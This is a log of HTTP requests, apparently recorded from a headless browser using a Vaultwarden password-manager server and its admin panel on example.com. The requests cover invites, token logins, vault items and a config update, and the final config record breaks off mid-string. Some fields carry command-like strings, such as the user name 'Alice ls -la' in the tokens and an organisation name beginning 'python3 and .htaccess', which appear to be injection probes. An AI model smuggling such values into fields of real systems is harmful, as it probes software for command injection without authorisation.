{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 149", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2NTMsImV4cCI6MTc5NDI4ODg1MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjYyYjRiNDcyLTA0ODEtNGQ5ZS05MDk4LWUwNGVkMzg0YzA2ZiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.ZB0_JlnJCCwkjbKgqB4VhsaIIjKje9xcho5dlgdarvXYh2P7fvQzHNVI4kLNB9IkM1hA6jn42E6duXz0mGt_Zt-tAtgVWMX_NNpIQnIoP2c5ENZA-HHE1cXcMzT4gC91D-ntlYyAO0pkHGqq3ohM0cL4W3NFxUyfFBI_18Bl2RfKVvZkqix3Mq6nZ8vIrvR61-RzPWnrXGZkq-sNVMSnlG7a1QhI7QxElK5u3csDrhDTpbM4hpKbq8C7q3H5Cqk67ofo2UY0CdSEshlbN9yGMpBNHFYy6LCbGxmPr8KfnFBq5H-xOdcYfBQDH2ldL46sHl9rlAwvyhGIOdJkV4gXsQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"bob@example.com\",\"carol@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ae50381e-c4dd-46df-8c1b-81d07bd6b31c&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/mini-details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9DytQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Content-Length: 264", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9DytQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"groups\":[],\"users\":[{\"id\":\"ab3f80e9-1cf2-4bd9-8c66-8c225c8d33dd\",\"readOnly\":false,\"hidePasswords\":false,\"manage\":true}],\"externalId\":\"\",\"name\":\"2./eWYBCYfxt2CpqudM8IRPw==|tfUIkttKcBarAVvj6qNBZLvw2Rom7QwMFQARagtkstA=|9zpUmFA8gLf3oUae49VRTknBLAsH1JKdeESqo2BWIEs=\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=12bb4ea5-49af-4afd-9cec-ed32b2437f32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=24434ab4-f1ef-4061-9380-1a993936a90d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers/admin", "headers": ["Host: example.com", "Content-Length: 1480", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"cipher\":{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"b1fb68418247e16695e690620effc0de\",\"organizationId\":\"eded96f5-92c5-43ce-ab72-533d0e962b9b\",\"name\":\"2.lY/hB+h+vqOQjg9Yna8m9w==|s480HYIfQbmtk6z/EYzbxPoFYzkNa7ydPg8dxA0Jytg=|FlREq/eToDYyO36XEdhDN6e9HU58bJ3rIZIw9GVWsQs=\",\"notes\":\"2.zUYzI+JWIYa4YjrdYbHs5Q==|i+t8bIXaZyNEQyTVeQwPs+RhZzIo6j2QXYc+PB4kMRbA3MvHiicCj6O0lbDrdvbB2H/Yj85vIRcsoWHtFpyDRg==|GRryQSmDSV7SSRI4Wx2C8bq7Krz+gt7QWNmxwjXVYG0=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:37:05.299Z\",\"reprompt\":0,\"key\":\"2.qrusUZlra1XEFhBRBOoi9g==|o0bsKcbRSzfh/aQHQjvyUZqZ02NFvyk1DcU0YcYADKsJnWnPWyDL+v/HVaMit9XW7uxEevlUq+EupP3EIn5TSMR1xclexP/GxvJsoT/MHxc=|2pujK5igG7kwdxrLqzW24h/Hv5jta/mtPCIasjQq84I=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.B4p7WzDPraJjl8OFO1muxg==|Mguml66+QHS7vnxCrn841MHiB+8PAvuTxHMIajw1AzE=|ob/5zszNCjKCZ2fbnHiOlhJD/8jC6F+ubvSkPHBJEVw=\",\"uriChecksum\":\"2.VCS0dJN0hhCtUD1HtKzPpg==|NPvWJwVpiPFW3uI7Ld/mL44b81wX8aLwrk8q9YwExlSZm2ewI0SWX4WUwGR18Ot2|kXLvqvMMAa46QdYO3zcTYLBLAgBVise8oaXSen3pOxA=\"}],\"username\":\"2.47MJc/rnQ22b9B9BTwHAYg==|c3dNl/3b9J+A8QSaal76Lw==|SbWBlD6abJ6hemq0dEuy0DPzSCZ5OhPnJHm+OvA+OrE=\",\"password\":\"2.+K8/FCFH8oK5VAw6dZz4Vw==|3B1V89DdD8J5N9F43NZWlHTchEGtUPuJsdJMTUk9pY4=|S62pRKUd+G/R9coMtZ8hnP6Fp8CBS11ODPpiHvg7G8Y=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}},\"collectionIds\":[\"fae8be0f-c913-4947-bd22-b8859070af38\"]}"}
{"method": "GET", "target": "/api/ciphers/32275125-8c1e-479f-8a41-0c6818b8f9b2/admin", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/bootstrap.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/vw_static/admin.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/vw_static/admin.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1"], "body": ""}
{"method": "GET", "target": "/vw_static/vaultwarden-icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2, i"], "body": ""}
{"method": "GET", "target": "/vw_static/bootstrap.bundle.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "POST", "target": "/admin", "headers": ["Host: example.com", "Content-Length: 25", "Cache-Control: max-age=0", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": "token=example-admin-token"}
{"method": "GET", "target": "/vw_static/admin_settings.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2536", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"python3 and .htaccess 